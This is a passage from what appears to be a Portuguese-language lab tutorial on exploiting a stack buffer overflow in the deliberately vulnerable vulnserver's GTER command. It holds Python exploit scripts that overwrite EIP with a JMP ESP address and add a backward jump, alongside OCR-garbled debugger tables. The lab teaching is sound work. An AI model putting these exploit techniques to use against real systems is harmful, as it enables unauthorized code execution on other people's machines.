Sabemos que o offset para atingir o EIP é de 147, vamos enviar 147 "A" + 4 "B" e o restande de "C" para validar. Se o offset estiver correto, nosso EIP será preenchido com "42424242" e os outros 20 bytes com "43".

xplgter.py:

| #!/usr/bin/python3  |
|---|
| import socket   |
| # variaveis de conexao<br>ip = "192.168.1.30"<br>porta = 9999   |
| # payload a ser enviado<br>offset = 147   |
| payload = b"GTER /.:/" # funcao inicial<br>payload += b"A" * offset<br>payload += b"B"*4<br>payload += b"C" * (309 - 147 - 4) |
| s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)<br>s.connect((ip,porta))  |
| print("Enviando payload")   |
| s.send(payload + b"\r\n")<br>s.close()  |
| print("Payload enviado!")   |

Após reiniciar o vulnserver no Immunity, vamos rodar nosso script e monitorar seu comportamento.

| File Vie | NA/      | Debu | 10       | Pluz | nins | Im | mlik | 0    | Intions | 1/ | /ind   |   | н | ln  | Ici | nc |   |    |          |          |            |            |             |     |            |        |             |               |       | -      |
|----------|----------|------|----------|------|------|----|------|------|---------|----|--------|---|---|-----|-----|----|---|----|----------|----------|------------|------------|-------------|-----|------------|--------|-------------|---------------|-------|--------|
|          | ei 4     |      | ' N      | - IU |      | 41 | 5:   |      |         | 1  | - mild |   |   | -ip | 1   |    | n | 1. | 7.12     | 125      | 1000       |            | 1023        | 9   |            |        | an an       |               | -     | - 11 H |
| >>> @ C  | <u>ا</u> | • ×  |          | Ш    |      | 1  | fi i |      | 1 71    | 1  | e      | m | τ | w   | n   | с  | Р | ĸ  | D        | z        | I          |            | S           | 1   |            | looe a | audito      | or and s      | onwar | re ass |
|          |          |      |          |      |      |    |      |      |         |    |        |   |   |     |     |    |   | ^  | Reg      | gi       | ste        | rs         | (F          | PU) |            |        |             |               |       |        |
|          |          |      |          |      |      |    |      |      |         |    |        |   |   |     |     |    |   |    | EHA      | X        | ии4<br>Илр | FF:<br>F1  | 728<br>1 DC | 85  | GII        | 47,    | "IE         | K /.:         | ×88   | ннн    |
|          |          |      |          |      |      |    |      |      |         |    |        |   |   |     |     |    |   |    | ED       | ĸ        | 000        | 00         | 000         |     |            |        |             |               |       |        |
|          |          |      |          |      |      |    |      |      |         |    |        |   |   |     |     |    |   |    | EB       | X        | 000        | 00:        | 104         |     |            |        |             |               |       |        |
|          |          |      |          |      |      |    |      |      |         |    |        |   |   |     |     |    |   |    | EBI      | r<br>P   | 00B<br>414 | 14         | 141         |     |            |        |             |               |       |        |
|          |          |      |          |      |      |    |      |      |         |    |        |   |   |     |     |    |   |    | ESI      | Ì        | 004        | 01         | 848         | vu  | lnse       | erv.   | 004         | 01848         | 3     |        |
|          |          |      |          |      |      |    |      |      |         |    |        |   |   |     |     |    |   |    | EDI      | I        | 004        | 01         | 848         | vu  | lnse       | erv.   | 004         | 01848         | 3     |        |
|          |          |      |          |      |      |    |      |      |         |    |        |   |   |     |     |    |   |    | EII      | P        | 424        | 24         | 242         |     |            |        |             |               |       |        |
|          |          |      |          |      |      |    |      |      |         |    |        |   |   |     |     |    |   |    | C (      | Ø        | ES         | Ø          | 02B         | 32  | bit        | ØCF    | FFF         | FFFF:         | >     |        |
|          |          |      |          |      |      |    |      |      |         |    |        |   |   |     |     |    |   |    | P I      | 1        | 68         | 191<br>191 | 423<br>42 R | 32  | bit<br>bit | DOCE   | FFF.<br>FFF | FFFF.<br>FFFF | 8     |        |
|          |          |      |          |      |      |    |      |      |         |    |        |   |   |     |     |    |   |    | Zi       | ĩ        | DS         | Ø          | 02B         | 32  | bit        | ØCF    | FFF         | FFFF          | S.    |        |
|          |          |      |          |      |      |    |      |      |         |    |        |   |   |     |     |    |   | ¥  | S G      | 3        | FS         | Ø          | 053         | 32  | bit        | 30F    | 000         | (FFF)         | 2     |        |
| dress    | Hex      | du   | ຫນ       |      |      |    |      | 1    | ASCII   |    |        |   |   |     |     |    |   | ~  | 00       | BF       | F90        | :8         | 43          | 434 | 343        | CCC    | C           |               | ,     |        |
| 403000   | FF       | FF   | FF       | FF   | 00   | 40 | 00   | 00   | -       | e. |        |   |   |     |     |    |   |    | 00       | BF       | F90        | C          | 43          | 434 | 343        | CCC    | C           |               |       |        |
| 403008   | 70       | 2E   | 40       | 00   | 00   | 00 | 00   | 00   | p.e     |    |        |   |   |     |     |    |   |    | NA<br>NA | BF       | F9D        | 14         | 43          | 434 | 343        | CCC    | ic ic       |               |       |        |
| 403018   | FF       | FF   | FF       | FF   | 00   | 00 | 00   | 00   |         |    |        |   |   |     |     |    |   |    | 00       | BF       | F9D        | 8          | 43          | 434 | 343        | CCC    | C           |               |       |        |
| 403020   | FF       | FF   | FF       | FF   | 00   | 00 | 00   | 00   |         |    |        |   |   |     |     |    |   |    | 00       | BF       | F9D        |            | AB          | ABA | BAB        | 12/2/  | 2/2         |               |       |        |
| 403028   | 00       | 00   | 00       | 00   | 00   | 00 | 00   | 00   |         |    | • •    |   |   |     |     |    |   |    | 00       | br<br>BF | F9F        | 4          | FE          | FEF | EEE        | E16    | 2 2         |               |       |        |
| 403038   | 00       | 00   | ÕÕ       | 00   | 00   | 00 | 00   | 00   |         |    |        |   |   |     |     |    |   |    | 00       | BF       | F9E        | 8          | 00          | 000 | 000        |        |             |               |       |        |
| 403040   | 00       | 00   | 00       | 00   | 00   | 00 | 00   | 00   |         |    |        |   |   |     |     |    |   |    | 00       | BF       | F9E        | C          | 00          | 000 | 000        |        |             |               |       |        |
| 403048   | 00       | 00   | 00       | 00   | 00   | 00 | 00   | 00   |         |    | • •    |   |   |     |     |    |   |    | 00       | BF       | F9F        | 4          | 00          | 000 | 000        |        |             |               |       |        |
| 403058   | 00       | 00   | 00       | 00   | 00   | 00 | 00   | 00   |         |    |        |   |   |     |     |    |   |    | 00       | BF       | F9F        | 8          | 00          | 000 | 000        |        |             |               |       |        |
| 403060   | 00       | 00   | 00       | 00   | 00   | 00 | 00   | 00   |         |    |        |   |   |     |     |    |   |    | 00       | BF       | F9F        | C          | 00          | 000 | 000        |        |             |               |       |        |
| 403068   | 00       | 00   | 00       | 00   | 00   | 00 | 00   | 00   |         |    | • •    |   |   |     |     |    |   |    | 00       | BF       | FAD        | 14         | 00          | 9F0 | 000        |        |             |               |       |        |
| 403078   | 00       | 00   | 00       | 00   | 00   | 00 | 00   | 00   |         |    |        |   |   |     |     |    |   |    | 00       | BF       | FAG        | 18         | 40          | 000 | 06A        | j      | 6           |               |       |        |
| 403080   | 00       | 00   | 00       | 00   | 00   | 00 | 00   | 00   |         |    |        |   |   |     |     |    |   |    | 00       | BF       | FAU        | G          | 00          | 000 | 000        |        |             |               |       |        |
| 403088   | 00<br>00 | 00   | 00<br>00 | 00   | 00   | 00 | 90   | 90   |         |    |        |   |   |     |     |    |   | ¥  | 00       | BF       | FAI        | 4          | 00          | 9F1 | 118        | test   | . A         | SCII          | 47,   | "TE    |
|          |          |      |          |      | ana. |    | ana) | ana) |         |    |        |   |   |     |     |    |   |    | _        | -        |            |            |             |     |            |        |             |               |       |        |
|          |          |      |          |      |      |    |      |      |         |    |        |   |   |     |     |    |   |    |          |          |            |            |             |     |            |        |             |               |       |        |

Conseguimos atingir com precisão o EIP com nossos "42".

Ainda temos o problema de espaço de 20 bytes para tentar executar alguma coisa, mas antes de atacar este problema, vamos encontrar um bom endereço de retorno.

#### ENCONTRANDO UM BOM ENDEREÇO DE RETORNO

O nosso payload vai sobrescrever o buffer, o EIP e o ESP, logo, nosso shellcode será armazenado no ESP, por tanto, precisamos manipular nosso EIP para que aponte para o endereço do ESP. Como sabemos que os endereços da stack são dinâmicos, vamos procurar um JMP ESP conforme fizemos no comando anterior.

| the second se |                      |  |                     |              |  |  |  |  |  |  |  |
|---|----------------------|--|---------------------|--------------|--|--|--|--|--|--|--|
| ØBADFØØD  | [+] Results :        |  |                     |              |  |  |  |  |  |  |  |
| 625011AF  | 0x625011af : jmp esp | <pre>! {PAGE_EXECUTE_READ&gt;</pre>                  | [essfunc.dll] ASLR: | False, Rebas |  |  |  |  |  |  |  |
| 625011BB  | 0x625011bb : jmp esp | <pre>! <page_execute_read></page_execute_read></pre> | [essfunc.dll] ASLR: | False, Rebas |  |  |  |  |  |  |  |
| 625011C7  | 0x625011c7 : jmp esp | <pre>{ CPAGE_EXECUTE_READ&gt;</pre>                  | [essfunc.dll] ASLR: | False, Rebas |  |  |  |  |  |  |  |
| 625Ø11D3  | 0x625011d3 : jmp esp | <pre>{ CPAGE_EXECUTE_READ&gt;</pre>                  | [essfunc.dll] ASLR: | False, Rebas |  |  |  |  |  |  |  |
| 625011DF  | 0x625011df : jmp esp | <pre>{ CPAGE_EXECUTE_READ&gt;</pre>                  | [essfunc.dll] ASLR: | False, Rebas |  |  |  |  |  |  |  |
| 625011EB  | 0x625011eb : jmp esp | <pre>{ CPAGE_EXECUTE_READ&gt;</pre>                  | [essfunc.dll] ASLR: | False, Rebas |  |  |  |  |  |  |  |
| 625011F7  | 0x625011f7 : jmp esp | <pre>{PAGE_EXECUTE_READ}</pre>                       | [essfunc.dll] ASLR: | False, Rebas |  |  |  |  |  |  |  |
| 62501203  | 0x62501203 : jmp esp | <pre>l ascii {PAGE_EXECUTE_F</pre>                   | READ> [essfunc.dll] | ASLR: False, |  |  |  |  |  |  |  |
| 62501205  | 0x62501205 : jmp esp | <pre>l ascii {PAGE_EXECUTE_F</pre>                   | READ> [essfunc.dll] | ASLR: False, |  |  |  |  |  |  |  |
| ØBADFØØD  | Found a total of 9   | pointers   |                     |              |  |  |  |  |  |  |  |
| ØBADFØØD  |                      |  |                     |              |  |  |  |  |  |  |  |
| OBADF00D [+] This mona.py action took 0:00:02.051000  |                      |  |                     |              |  |  |  |  |  |  |  |
| !mona jmp -r esp  |                      |  |                     |              |  |  |  |  |  |  |  |
| Restart program (Ctrl+F2)   |                      |  |                     |              |  |  |  |  |  |  |  |

Encontramos nossos 9 bons endereços de retorno.

#### INSERINDO O ENDEREÇO DE RETORNO NO PAYLOAD

Em posse do endereço de retorno, vamos adicionar um deles no lugar de nossos B, eu vou utilizar o 625011d3, porém a notação para envio tem que ser em little indian, portanto os bytes tem ordem inversa, ficando: \xd3\x11\x50\x62.

Vamos atualizar o exploit.

xplgter.py:

| #!/usr/bin/python3   |
|--|
| import socket  |
| # variaveis de conexao<br>ip = "192.168.1.26"<br>porta = 9999  |
| # payload a ser enviado<br>offset = 147  |
| payload = b"GTER /.:/" # funcao inicial<br>payload += b"A" * offset # buffer<br>payload += b"\xd3\x11\x50\x62" # endereco de retorno<br>payload += b"C" * (309 - 147 - 4) # segundo buffer |
| s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)<br>s.connect((ip,porta))   |
| print("Enviando payload")  |
| s.send(payload + b"\r\n")<br>s.close()   |
| print("Payload enviado!")  |

Precisamos reiniciar o vulnserver no Immunity, mas antes de rodar nosso script, vamos setar um breakpoint exatamente no nosso endereço de retorno: 625011d3. (clicando em "Go to address in Disassembler", inserindo nosso endereço de retorno e logo em seguida pressionando F2). Agora podemos rodar nosso script.

| 625011D3 | FFE4 | JMP ESP      |
|----------|------|--------------|
| 625011D5 | FFE7 | JMP EDI      |
| 625011D7 | 5B   | POP EBX      |
| 625011D8 | 5B   | POP EBX      |
| 625011D9 | C3   | RETN         |
| 625011DA | 5D   | POP EBP      |
| 625011DB | C3   | RETN         |
| 625011DC | 55   | PUSH EBP     |
| 625011DD | 89E5 | MOU EBP, ESP |
| 625011DF | FFE4 | JMP ESP      |
| 625011E1 | FFE2 | JMP EDX      |
| 625011E3 | 59   | POP ECX      |
| 625011E4 | 5A   | POP EDX      |
| 625011E5 | C3   | RETN         |
| 625011E6 | 5D   | POP EBP      |
| 625011E7 | C3   | RETN         |
| 625011E8 | 55   | PUSH EBP     |
| 625011E9 | 89E5 | MOU EBP, ESP |
| 625011EB | FFE4 | JMP ESP      |
| 625011ED | FFE6 | JMP ESI      |
| 625011EF | 59   | POP ECX      |
| 625011F0 | 58   | POP EAX      |
| 625011F1 | C3   | RETN         |
| 625011F2 | 5D   | POP ERP      |

O programa parou exatamente onde setamos o breakpoint. Ao pressionarmos F7, vamos cair exatamente onde começam nossos "C"(43).

# https://hastur666.github.io/Windows BoF/

| 00CFF9C6        | 50      | PUSH EAX                          | ~        | Registers (FPU)                         |
|-----------------|---------|-----------------------------------|----------|---|
| ØØCFF9C7        | 6243 43 | BOUND EAX, QWORD PTR DS: [EBX+43] |          | FAX 00CFF928 ASCII 47 "TFR / :/AAAAAAAA |
| ØØCFF9CA        | 43      | INC EBX                           |          | FCX 000F11DC                            |
| ØØCFF9CB        | 43      | INC EBX                           |          | FIX AAAAAAAA                            |
| ØØCFF9CC        | 43      | INC EBX                           |          | FRX 00000104                            |
| ØØCFF9CD        | 43      | INC EBX                           |          | FSP MACEF9C8                            |
| ØØCFF9CE        | 43      | INC EBX                           |          | FRP 41414141                            |
| ØØCFF9CF        | 43      | INC EBX                           |          | ESI 00401848 uulnseru 00401848          |
| 00CFF9D0        | 43      | INC EBX                           |          | EDI 00401848 uulnseru 00401848          |
| 00CFF9D1        | 43      | INC EBX                           |          |   |
| 00CFF9D2        | 43      | INC EBX                           |          | EIP UUCFF9C8                            |
| 00CFF9D3        | 43      | INC EBX                           |          | C Ø ES ØØ2B 32bit Ø(FFFFFFFF)           |
| 00CFF9D4        | 43      | INC EBX                           |          | P 1 CS 0023 32bit 0(FFFFFFFF)           |
| 00CFF9D5        | 43      | INC EBX                           |          | A Ø SS ØØ2B 32bit Ø(FFFFFFFF)           |
| 00CFF9D6        | 43      | INC EBX                           | -        | Z 1 DS 002B 32bit 0(FFFFFFFF)           |
| ØØCFF9D7        | 43      | INC EBX                           |          | S Ø FS 0053 32bit 359000(FFF)           |
| ØØCFF9D8        | 43      | INC EBX                           |          | T Ø GS Ø02B 32bit Ø(FFFFFFFF)           |
| ØØCFF9D9        | 43      | INC EBX                           |          | D Ø                                     |
| ØØCFF9DA        | 43      | INC EBX                           |          | 0 0 LastErr ERROR SUCCESS (0000000)     |
| ØØCFF9DB        | 43      | INC EBX                           |          | FEL GOOGOJAC (NO ND E DE NO DE CE LES   |
| UUCFF9DC        | AB      | STOS DWORD PTR ES: [EDI]          |          | EFL 00000246 (NU,NB,E,BE,NS,PE,GE,LE)   |
| UUCFF9DD        | AB      | STOS DWORD PTR ES:LEDIJ           |          | STØ empty g                             |
| <b>UUCFF9DE</b> | HB      | SIUS DWORD PIR ES: LEDII          | -        | ST1 empty g                             |
| NNCERADE        | 818     | N UN DWORD PER EST ROL            | <u> </u> | ST2 emptu a                             |

Nota de interpretação: Veja que nos registradores o EIP está em 00cff9c8 e a linha onde esta instrução cai exatamente onde está nosso primeiro 43 no disassembler. (note que no EIP temos 00cff9c8 e no disassembler temos 0cff9c7, existe 1 byte de diferença, mas se observamos o conteúdo, vemos que temos "6243 43", ou seja, se o 62 corresponde ao endereço 00cff9c7, logo o próximo byte que é nosso 43 será 00cff9c8).

Caímos exatamente onde esperávamos, mas agora temos que resolver o problema: o que fazer com apenas 20 bytes de espaço?

Simples, não podemos fazer nada! Precisamos de um buffer maior, e nós o temos. O buffer onde estão os "A", pois ele possui 147 bytes, o que não é muito, mas nos permite utilizar algumas técnicas.

Mas vem a questão, se o buffer de "A" já foi utilizado para preencher o buffer primário do programa, como podemos reutilizá-lo?

#### PULANDO ENTRE ENDEREÇOS DE MEMÓRIA

Sabemos que ao cair no buffer dos "C", precisamos pular de volta para o buffer dos "A".

Na arquitetura x86 temos um jump incondicional que pode pular para qualquer endereço da memória, mas para utilizá-lo, precisamos saber exatamente para onde pular.

Porém os endereços dos buffers esão na stack, o que siginifica que vão mudar toda vez que executarmos o programa.

Vamos rodar o script novamente e observar que os endereços mudaram. Observe a imagem abaixo que mostra exatamente onde se inicia nossos "C".

| 00D8F9C3 | 41      | INC ECX                          |
|----------|---------|----------------------------------|
| 00D8F7C4 | D311    | RCL DWORD PTR DS:[ECX],CL        |
| 00D8F9C6 | 50      | PUSH EAX                         |
| 00D8F9C7 | 6243 43 | BOUND EAX, QWORD PTR DS:[EBX+43] |
| ØØD8F9CA | 43      | INC EBX                          |
| ØØD8F9CB | 43      | INC EBX                          |
| ØØD8F9CC | 43      | INC EBX                          |
| ØØD8F9CD | 43      | INC EBX                          |
| ØØD8F9CE | 43      | INC EBX                          |
| ØØD8F9CF | 43      | INC EBX                          |
| 00D8F9D0 | 43      | INC EBX                          |
| 00D8F9D1 | 43      | INC EBX                          |
| 00D8F9D2 | 43      | INC EBX                          |
| GGDGDGDG | 40      | THO THU                          |
Sabemos que desta vez eles se iniciam em 00d8f9c8, se rolarmos a barra pra cima, encontraremos o endereço correspondente ao nosso primeiro "A".

| 00D8F91E | B8 00000000 | MOU EAX,0                   |
|----------|-------------|-----------------------------|
| 00D8F923 | 0020        | ADD BYTE PTR DS:[EAX],AH    |
| 00D8F925 | 0000        | ADD BYTE PTR DS:[EAX],AL    |
| 00D8F927 | 0047 54     | ADD BYTE PTR DS:[EDI+54],AL |
| 00D8F92A | 45          | INC EBP                     |
| 00D8F92B | 52          | PUSH EDX                    |
| 00D8F92C | 202F        | AND BYTE PTR DS:[EDI],CH    |
| 00D8F92E | 2E:3A2F     | CMP CH, BYTE PTR CS:[EDI]   |
| 00D8F931 | 41          | INC ECX                     |
| 00D8F932 | 41          | INC ECX                     |
| 00D8F933 | 41          | INC ECX                     |
| 00D8F934 | 41          | INC ECX                     |
| 00D8F935 | 41          | INC ECX                     |
| 00D8F936 | 41          | INC ECX                     |
| 00D8F937 | 41          | INC ECX                     |
| 00D8F938 | 41          | INC ECX                     |
| 00D8F939 | 41          | INC ECX                     |
| 00D8F93A | 41          | INC ECX                     |
| 00D8F93B | 41          | INC ECX                     |
| 00D8F93C | 41          | INC ECX                     |
| 00D8F93D | 41          | INC ECX                     |
| 00D8F93E | 41          | INC ECX                     |
| 00D8F93F | 41          | INC ECX                     |
| NADSE240 | 41          | INC ECX                     |

Nosso primeiro "A" está em 00d8f931, porém estes endereços são da stack e vão mudar a cada vez que executarmos o programa.

Precisamos pular do endereço do primeiro "C" para o primeiro "A", mas os endereços não são fixos, o que fazer?

Simples, os endereços mudam, mas a distância matemática entre eles não, se eu souber quantos bytes devo pular, sempre cairei exatamente onde quiser. Existem algumas formas de calcular esta distância, vamos explorar duas alternativas.

#### ENCONTRANDO A DISTÂNCIA COM IMMUNITY DEBBUGER

Se clicarmos duas vezes na instrução disassembler do nosso primeiro "C", podemos inserir o comando "JMP 00d8f931" que é o endereço do nosso primeiro "A".

| 00D8F9B7   | 41                    | INC ECX                 |           |
|------------|-----------------------|-------------------------|-----------|
| 00D8F9B8   | 41                    | INC ECX                 |           |
| 00D8F9B9   | 41                    | INC ECX                 |           |
| 00D8F9BA   | 41                    | INC ECX                 |           |
| 30D8F9BB   | 41                    | INC ECX                 |           |
| HØD8F9BC   | 41                    | INC ECX                 |           |
| MADS F9 BD | 41 Accord 1 + 00D 050 | C7                      | ~         |
| ØØD8F9BE   | 41 Assemble at 00D8F9 | C7                      | ~         |
| ØØD8F9BF   | 41                    |                         |           |
| 00D8F9C0   | 41 JMP 00d8f931       |                         | -         |
| 00D8F9C1   | 41                    |                         |           |
| 00D8F9C2   | 41                    |                         |           |
| 00D8F9C3   | 41 🔽 Fill with MOR's  |                         |           |
| 00D8F9C4   | D:                    | Assemble Land           | cel       |
| 00D8F9C6   | 56                    |                         |           |
| 00D8F9C7   | 6243 43               | BOUND EAX, QWORD PTR DS | :[EBX+43] |
| ØØD8F9CA   | 43                    | INC EBX                 |           |
| ØØD8F9CB   | 43                    | INC EBX                 |           |
| ØØD8F9CC   | 43                    | INC EBX                 |           |
| ØØD8F9CD   | 43                    | INC EBX                 |           |
| ØØD8F9CE   | 43                    | INC EBX                 |           |
| ØØD8F9CF   | 43                    | INC EBX                 |           |
| ØØD8F9DØ   | 43                    | INC EBX                 |           |
| ØØD8F9D1   | 43                    | INC EBX                 |           |

Ao clicarmos em "Assemble", ele nos retorna a distância entre os dois endereços.

| GGDODODO | A1           | INC ECY                   |
|----------|--------------|---------------------------|
| 00007707 | 41           | ING EGA                   |
| 00D8F9B8 | 41           | INC ECX                   |
| 00D8F9B9 | 41           | INC ECX                   |
| 00D8F9BA | 41           | INC ECX                   |
| 00D8F9BB | 41           | INC ECX                   |
| ØØD8F9BC | 41           | INC ECX                   |
| ØØD8F9BD | 41           | INC ECX                   |
| ØØD8F9BE | 41           | INC ECX                   |
| ØØD8F9BF | 41           | INC ECX                   |
| ØØD8F9CØ | 41           | INC ECX                   |
| 00D8F9C1 | 41           | INC ECX                   |
| 00D8F9C2 | 41           | INC ECX                   |
| ØØD8F9C3 | 41           | INC ECX                   |
| 00D8F9C4 | D311         | RCL DWORD PTR DS:[ECX].CL |
| 00D8F9C6 | 50           | PUSH EAX                  |
| ØØD8F9C7 | ^E9 65FFFFFF | JMP 00D8F931              |
| ØØD8F9CC | 42           | INC EBX                   |
| ØØD8F9CD | 43           | INC EBX                   |
| ØØD8F9CE | 43           | INC EBX                   |
| ØØD8F9CF | 43           | INC EBX                   |
| 00D8F9D0 | 43           | INC EBX                   |
| 00D8F9D1 | 43           | INC EBX                   |
| 00D8F9D2 | 43           | INC EBX                   |
| MAD8F9D3 | 43           | INC EBX                   |

Ele nos deu a distância e965ffffff, porém temos que ter cuidado, pois ele está comparando com o 00d8f9c7, mas sabemos que nosso primeiro "C" está em 00d8f9c8, portanto temos que subtrair 1 byte da distância, resultando em e964fffff.

Agora sabemos a distância do salto, então, independente do endereço que os buffers possam cair, podemos encontrar nosso endereço de destino.

Antes de testar outra abordagem para calcular o salto, vamos testar em nosso script.

Vamos adicionar nosso salto no script logo após o salto para o EIP.

xplgter.py:

```
#!/usr/bin/python3
import socket
# variaveis de conexao
ip = "192.168.1.30"
porta = 9999
# payload a ser enviado
offset = 147
payload = b"GTER / .: /" # funcao inicial
payload += b"A" * offset # buffer
payload += b"\xd3\x11\x50\x62" # endereco de retorno
payload += b"\xe9\x64\xff\xff\xff" # salta para o primeiro buffer
payload += b"C" * (309 - 147 - 4 - 5) # segundo buffer
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip,porta))
print("Enviando payload...")
s.send(payload + b"\r\n")
s.close()
print("Payload enviado!")
```

Entendendo o payload

payload = b"GTER /.:/" # funcao inicial payload += b"A" \* offset # buffer payload += b"\xd3\x11\x50\x62" # endereco de retorno payload += b"\xe9\x64\xff\xff\xff" # salta para o primeiro buffer payload += b"C" \* (309 - 147 - 4 - 5) # segundo buffer

- 1 Ele vai enviar o comando inicial "GTER /.:/";
- 2 Ele vai enviar nosso primeiro buffer com 147 "A";
- 3 Ele vai enviar para o EIP o endereço de retorno para nosso ESP;
- 4 Aqui ele envia o salto para cair novamente no inicio do buffer de "A";
- 5 Agora ele envia o restante dos "C" onde 309 é o offset para buffer overflow, -

4 para descontar os 4 bytes do endereço de retorno e -5 bytes do salto.

Vamos reiniciar o programa novamente com o breakpoint em 625011d3 que é nosso endereço de retorno e rodar nosso script.

| 62581103 | FFE4      | JMP ESP      | ~   | Reg              | isters (Fl     | PU>                             |
|----------|-----------|--------------|-----|------------------|----------------|---------------------------------|
| 625011D5 | FFE7      | JMP EDI      |     | FOX              | 00077928       | ASCII 47 "TER / :/00000000      |
| 625011D7 | 5B        | POP EBX      |     | FCX              | 00B211DC       | nooni ir, illi //iiiiiiiiiiii   |
| 625011D8 | 5B        | POP EBX      |     | EDX              | QQQQQQQQQ      |                                 |
| 625011D9 | C3        | RETN         |     | FRY              | 000000104      |                                 |
| 625011DA | 5D        | POP EBP      |     | FSP              | 00D2E9C8       |                                 |
| 625011DB | C3        | RETN         |     | FRP              | 41414141       |                                 |
| 625011DC | 55        | PUSH EBP     |     | EST              | 00401848       | uulnseru_00401848               |
| 625011DD | 89E5      | MOU EBP, ESP |     | EDI              | 00401848       | uulnseru 00401848               |
| 625011DF | FFE4      | JMP ESP      |     |                  | 00101010       |                                 |
| 625011E1 | FFE2      | JMP EDX      |     | EIP              | 625011D3       | essfunc.625011D3                |
| 625011E3 | 59        | POP ECX      |     | си               | ES ØØ2B        | 32bit Ø(FFFFFFFF)               |
| 625011E4 | 5A        | POP EDX      |     | P 1              | CS 0023        | 32bit Ø(FFFFFFFF)               |
| 625011E5 | C3        | RETN         |     | ÂЙ               | SS 002B        | 32hit Ø(FFFFFFFF)               |
| 625011E6 | 5D        | POP EBP      |     | $\overline{Z}$ 1 | DS 002B        | 32hit Ø(FFFFFFFF)               |
| 625011E7 | C3        | RETN         |     | Śй               | <b>FS 0053</b> | 32bit 32E000(FFF)               |
| 625011E8 | 55        | PUSH EBP     |     | ТЙ               | GS 002B        | 32bit Ø(FFFFFFFF)               |
| 625011E9 | 89E5      | MOU EBP, ESP |     | Ďй               |                |                                 |
| 625011EB | FFE4      | JMP ESP      |     | õй               | LastErr        | ERROR SILCCESS (00000000)       |
| 625011ED | FFE6      | JMP ESI      |     |                  | 0000004/       |                                 |
| 625011EF | 59        | POP ECX      |     | EFL              | 00000246       | (NU, NB, E, BE, NS, PE, GE, LE) |
| 625011F0 | 58        | POP EAX      |     | STØ              | empty q        |                                 |
| 625011F1 | C3        | RETN         |     | ST1              | empty g        |                                 |
| 625011F2 | <u>5D</u> | POP ERP      | × . | ero              | ompty g        |                                 |

Ele parou em nosso endereço de retorno, conforme esperado, agora pressionamos F7 para ir para próxima instrução.

| 00C4F9C8        | ^E9 64FFFFF | JMP  | 00C4F931 |       |             | ~ | Reg: | isters (         | FPU>     |             |         |          |
|-----------------|-------------|------|----------|-------|-------------|---|------|------------------|----------|-------------|---------|----------|
| <b>NNC4FACD</b> | 43          | INC  | EBX      |       |             |   | FAX  | <b>ØØC4F92</b>   | ASCIT    | 47 "TE      | 2 / :/  | 00000000 |
| 00C4F9CE        | 43          | INC  | EBX      |       |             |   | FCX  | 0069110          | C        | 11, 12,     |         |          |
| 00C4F9CF        | 43          | INC  | EBX      |       |             |   | EDY  | 0000000          | ă        |             |         |          |
| 00C4F9D0        | 43          | INC  | EBX      |       |             |   | EBA  | 00000010         | 4        |             |         |          |
| 00C4F9D1        | 43          | INC  | EBX      |       |             |   | EGD  | 00C4F9C          | 2        |             |         |          |
| 00C4F9D2        | 43          | INC  | EBX      |       |             |   | EBD  | 4141414          | 1        |             |         |          |
| 00C4F9D3        | 43          | INC  | EBX      |       |             |   | EGI  | 0040194          |          | 0040        | 1949    |          |
| 00C4F9D4        | 43          | INC  | EBX      |       |             |   | EUL  | 0040194          |          | A040        | 11949   |          |
| 00C4F9D5        | 43          | INC  | EBX      |       |             |   | LDI  | 0010101          | o vuinse | 1.0 . 00.16 | 10-10   |          |
| 00C4F9D6        | 43          | INC  | EBX      |       |             |   | EIP  | 00C4F9C          | 8        |             |         |          |
| 00C4F9D7        | 43          | INC  | EBX      |       |             |   | C Q  | E6 005           | P 2254+  | G/ PPPPI    | DEEN    |          |
| 00C4F9D8        | 43          | INC  | EBX      |       |             |   | D 1  | CC 002           | 2 22bit  | 0/PPPPI     | DDD     |          |
| 00C4F9D9        | 43          | INC  | EBX      |       |             | - | 4 4  | 66 002           | D 22544  | 0/PPPPI     | DDD     |          |
| 00C4F9DA        | 43          | INC  | EBX      |       |             | ÷ | 7 1  | 00 002<br>DC 002 | D 32010  | 0/PPPPI     | DDD     |          |
| ØØC4F9DB        | 43          | INC  | EBX      |       |             |   | 6 6  | D0 002           | D 32010  | 276000      | DDD     |          |
| ØØC4F9DC        | AB          | STOS | DWORD F  | PTR J | ES : LEDI 1 |   | TO   | CG 000           | J J2DIC  | A/DEDE      | TTT /   |          |
| 00C4F9DD        | AB          | STOS | DWORD F  | PTR 1 | ES : LEDI 1 |   | ħά   | 00 002           | D JZDIC  | 0/11/11/1   | 1117    |          |
| 00C4F9DE        | AB          | STOS | DWORD F  | PTR I | ES : [EDI ] |   | ក៍ផ័ | LastEn           | . EDBUD  | CHCCECC     | 10000   | 10000    |
| 00C4F9DF        | AB          | STOS | DWORD F  | PTR I | ES : LEDI 1 |   | 0 0  | hastEr           | r Ennon  | _00000000   | 10000   | 00000/   |
| 00C4F9E0        | AB          | STOS | DWORD F  | TR    | ES:[EDI]    |   | EFL  | 0000024          | 6 (NO,NI | 3, E, BE, M | IS,PE,C | GE,LE)   |
| 00C4F9E1        | AB          | STOS | DWORD F  | TR    | ES:[EDI]    |   | et a | emptu a          |          |             |         |          |
| 00C4F9E2        | AB          | STOS | DWORD F  | TR    | ES:[EDI]    |   | CT1  | empty g          |          |             |         |          |
| MACAE9E2        | ΔD          | етос | DUODD D  | DTD   | EG - FEDT 1 | ¥ | 911  | empty g          |          |             |         |          |

Veja que agora, ao invés de cair em nosso primeiro "C", ele caiu em um JMP. Se pressionarmos F7 novamente, cairemos onde esse JMP nos levar.

| 00C4F92C | 202F      | AND BYTE PTR DS:[EDI],CH  | ^ | Registers (FPU)                           |
|----------|-----------|---------------------------|---|---|
| MACADODE | 2E-202F   | CMP CH, BYTE PTR CS:[EDI] |   | EAX 00C4F928 ASCII 47. "TER /.:/AAAAAAAAA |
| 00C4F931 | 41        | INC ECX                   |   | ECX 006911DC                              |
| 00011734 | 11        | INC ECX                   |   | EDX 0000000                               |
| 00C4F933 | 41        | INC ECX                   |   | EBX 00000104                              |
| 00C4F934 | 41        | INC ECX                   |   | ESP ØØC4F9C8                              |
| 00C4F935 | 41        | INC ECX                   |   | EBP 41414141                              |
| 00C4F936 | 41        | INC ECX                   |   | ESI 00401848 vulnserv.00401848            |
| 00C4F937 | 41        | INC ECX                   |   | EDI 00401848 vulnserv.00401848            |
| 00C4F938 | 41        | INC ECX                   |   | ELD 00C40021                              |
| 0004F939 | 41        | INC ECX                   |   | EIF 0004F751                              |
